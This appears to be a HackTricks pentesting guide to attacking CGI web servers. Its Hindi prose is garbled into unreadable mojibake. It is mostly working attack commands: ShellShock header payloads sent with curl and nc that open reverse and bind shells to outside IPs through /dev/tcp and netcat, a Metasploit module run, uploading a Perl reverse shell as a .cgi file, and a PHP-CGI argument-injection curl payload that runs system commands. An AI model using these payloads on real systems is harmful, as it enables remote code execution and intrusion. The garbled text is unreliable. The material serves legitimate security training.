hacktricks/network-services-pentesting/pentesting-web/cgi.md

11 KiB

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Information

CGI рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдкрд░реНрд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдиреЗ рдПрдХ рд╕рд░реНрд╡рд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рд╣реИ рдЬреЛ .cgi рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рдПрдХ рдкрд░реНрд▓ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ `/usr/share/webshells/perl/perl-reverse-shell.pl` рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ .pl рд╕реЗ .cgi рдореЗрдВ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ, рдирд┐рд╖реНрдкрд╛рджрди рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдВ `chmod +x` рдФрд░ рд╡реЗрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
CGI рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП nikto -C all рдФрд░ рд╕рднреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред

ShellShock

ShellShock рдПрдХ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ Bash рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рд╢реЗрд▓ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ рдЬреЛ рдпреВрдирд┐рдХреНрд╕-рдЖрдзрд╛рд░рд┐рдд рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╣реИред рдпрд╣ Bash рдХреА рдХреНрд╖рдорддрд╛ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИ рдХрд┐ рд╡рд╣ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЧрдП рдЖрджреЗрд╢реЛрдВ рдХреЛ рдЪрд▓рд╛рдПред рдпрд╣ рдХрдордЬреЛрд░реА рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХреЗ рд╣реЗрд░рдлреЗрд░ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИ, рдЬреЛ рдЧрддрд┐рд╢реАрд▓ рдирд╛рдорд┐рдд рдорд╛рди рд╣реИрдВ рдЬреЛ рдпрд╣ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдХреИрд╕реЗ рдЪрд▓рддреА рд╣реИрдВред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХреЛ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдореЗрдВ рджреБрд╖реНрдЯ рдХреЛрдб рд╕рдВрд▓рдЧреНрди рдХрд░рдХреЗ рд╢реЛрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЪрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЗрд╕рд╕реЗ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

рдЗрд╕ рдХрдордЬреЛрд░реА рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддреЗ рд╕рдордп рдкреГрд╖реНрда рдПрдХ рддреНрд░реБрдЯрд┐ рдлреЗрдВрдХ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рдХрдордЬреЛрд░реА рдХреЛ рдпрд╣ рджреЗрдЦрдХрд░ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдПрдХ рдкреБрд░рд╛рдиреА Apache рд╕рдВрд╕реНрдХрд░рдг рдФрд░ cgi_mod cgi рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рд╕рд╛рде рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдпрд╛ nikto рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред

Test

рдЕрдзрд┐рдХрд╛рдВрд╢ рдкрд░реАрдХреНрд╖рдг рдХреБрдЫ рдХреЛ рдЗрдХреЛ рдХрд░рдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЙрдореНрдореАрдж рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рд╡рд╣ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡реЗрдм рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд▓реМрдЯрд╛рдИ рдЬрд╛рдПред рдпрджрд┐ рдЖрдк рд╕реЛрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдкреГрд╖реНрда рдХрдордЬреЛрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╕рднреА cgi рдкреГрд╖реНрдареЛрдВ рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ рдФрд░ рдЙрдирдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд, рдЕрдВрдзрд╛ рдФрд░ рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

рд╢реЛрд╖рдг

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM to Web server requests)

CGI рдкреНрд░рддреНрдпреЗрдХ рд╣реЗрдбрд░ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдмрдирд╛рддрд╛ рд╣реИ рдЬреЛ http рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: "host:web.com" рдХреЛ "HTTP_HOST"="web.com" рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЪреВрдВрдХрд┐ HTTP_PROXY рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╡реЗрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдПрдХ рд╣реЗрдбрд░ рднреЗрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдЬрд┐рд╕рдореЗрдВ: "Proxy: <IP_attacker>:<PORT>" рд╣реЛ рдФрд░ рдпрджрд┐ рд╕рд░реНрд╡рд░ рд╕рддреНрд░ рдХреЗ рджреМрд░рд╛рди рдХреЛрдИ рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИред рдЖрдк рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред

Old PHP + CGI = RCE CVE-2012-1823, CVE-2012-2311

рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ рдпрджрд┐ cgi рд╕рдХреНрд░рд┐рдп рд╣реИ рдФрд░ php "рдкреБрд░рд╛рдирд╛" &lt;5.3.12 / &lt; 5.4.2 рд╣реИ рддреЛ рдЖрдк рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рд╡реЗрдм рд╕рд░реНрд╡рд░ рдХреА рдХреБрдЫ PHP рдлрд╝рд╛рдЗрд▓ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреА рд╣реЛрдЧреА рдмрд┐рдирд╛ рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬреЗ (рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ "=" рд╡рд░реНрдг рднреЗрдЬреЗ рдмрд┐рдирд╛)ред рдлрд┐рд░, рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП /index.php?-s рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдзреНрдпрд╛рди рджреЗрдВ `-s` рдФрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ред

рдлрд┐рд░, RCE рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдпрд╣ рд╡рд┐рд╢реЗрд╖ рдХреНрд╡реЗрд░реА рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: /?-d allow_url_include=1 -d auto_prepend_file=php://input рдФрд░ PHP рдХреЛрдб рдЬреЛ рдЕрдиреБрд░реЛрдз рдХреЗ рд╢рд░реАрд░ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:**

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

рдХрдордЬреЛрд░реА рдФрд░ рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF рд▓реЗрдЦрди рдЙрджрд╛рд╣рд░рдг.

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}